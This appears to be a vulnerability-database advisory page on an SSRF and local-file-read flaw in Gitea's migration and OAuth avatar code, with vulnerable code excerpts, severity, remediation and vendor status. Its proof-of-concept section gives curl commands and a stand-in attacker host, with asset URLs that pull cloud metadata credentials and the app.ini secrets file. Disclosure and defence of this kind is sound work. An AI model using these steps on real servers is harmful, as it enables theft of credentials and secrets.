Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Migration exploitation requires admin/org-owner API token (PR:H); only confidentiality is impacted via file read and SSRF data exfiltration.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
5DescriptionCVE.org
Summary
Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.
Vulnerable Code
File: modules/uri/uri.go (line 32) -- Core vulnerability
func Open(uriStr string) (io.ReadCloser, error) {
u, err := url.Parse(uriStr)
switch strings.ToLower(u.Scheme) {
case "http", "https":
f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering
return f.Body, nil
case "file":
return os.Open(u.Path) // LOCAL FILE READ via file:// scheme
}
}Callers in migration path:
services/migrations/gitea_uploader.go:340--uri.Open(*asset.DownloadURL)for release assetsservices/migrations/gitea_uploader.go:586--uri.Open(pr.PatchURL)for PR patches
File: services/migrations/dump.go (lines 312, 453)
// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)
// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloaderFile: routers/web/auth/oauth.go (line 306)
func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
resp, err := http.Get(url) // RAW http.Get -- no hostmatcherContrast with protected migration clone (same codebase):
// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)PoC
# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:
# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)
# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
-H "Authorization: token ADMIN_API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
"repo_name": "migrated-repo",
"repo_owner": "admin",
"service": "gitea"
}'
# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"Impact
- Cloud metadata theft:
169.254.169.254reachable via unfilteredhttp.Get()(AWS IMDSv1 credentials, GCP tokens) - Local file read:
file://scheme inuri.Open()reads/etc/gitea/app.ini(database credentials, JWT signing secrets, SMTP passwords) - Internal service scanning: Reach
127.0.0.1,10.x,172.16-31.x,192.168.xnetworks - Bypasses existing SSRF protection: The
hostmatcherdialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
AnalysisAI
Server-side request forgery in Gitea ≤1.26.4 allows privileged users to bypass the platform's own hostmatcher SSRF defenses via three unprotected raw http.Get() code paths in the migration and OAuth avatar subsystems, enabling retrieval of cloud instance metadata (AWS IMDSv1, GCP tokens), local file read (e.g., app.ini with database credentials and JWT secrets), and internal network scanning. A detailed proof-of-concept exploit is publicly available in the GitHub Security Advisory GHSA-2wm4-vwp6-v7xc. EPSS is low at 0.16% (6th percentile), consistent with the privilege requirements limiting opportunistic exploitation, but the disclosed PoC and the sensitivity of reachable data elevate real-world risk for cloud-hosted deployments. No active exploitation is confirmed in CISA KEV at time of analysis.
Technical ContextAI
Gitea (CPE: pkg:go/code.gitea.io/gitea) implements SSRF protection via a custom hostmatcher.NewDialContext() transport that validates resolved IP addresses at the TCP dial layer for webhook and clone operations. CWE-918 (Server-Side Request Forgery) applies: the root cause is inconsistent application of this security control. Three code paths bypass it entirely by invoking Go's http.DefaultClient (raw http.Get()): modules/uri/uri.go:32, which additionally supports the file:// scheme via os.Open() enabling direct local file reads; services/migrations/dump.go lines 312 and 453, which process release asset download URLs and PR patch URLs from externally supplied migration sources; and routers/web/auth/oauth.go:306, which fetches avatar URLs from OAuth2 provider responses without filtering. The contrast with services/migrations/migrate.go:526 - which correctly applies the hostmatcher dialer for clone transport - demonstrates that the protection mechanism exists but was not consistently applied across all outbound HTTP callsites. Because uri.Open() accepts the file:// scheme, an attacker-controlled migration source can supply a file:///etc/gitea/app.ini asset URL that is opened directly from the local filesystem by the Gitea process.
RemediationAI
Upgrade Gitea to version 1.27.0 immediately; this is the vendor-released patch confirmed by the GitHub advisory GHSA-2wm4-vwp6-v7xc and the release tag at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. If immediate upgrade is not possible, apply the following specific compensating controls: disable repository migration from external Gitea instances in the admin panel (Site Administration → Repository Migration settings) to eliminate the primary attack surface - note this blocks legitimate cross-instance migrations as a trade-off. Disable or restrict the custom OAuth2 authentication source configuration to remove the oauth.go attack vector, accepting that OAuth2 SSO will be unavailable. For cloud deployments, enforce IMDSv2 (token-required mode) on AWS instances, which requires a PUT pre-request that the raw http.Get() call cannot perform, blocking the 169.254.169.254 metadata path specifically - this does not block internal network scanning or file:// reads. Network egress filtering at the infrastructure layer to block 169.254.169.254/32, RFC-1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), and loopback (127.0.0.0/8) from the Gitea process provides defense-in-depth but does not address the file:// local read vector. Full advisory: https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58126
GHSA-2wm4-vwp6-v7xc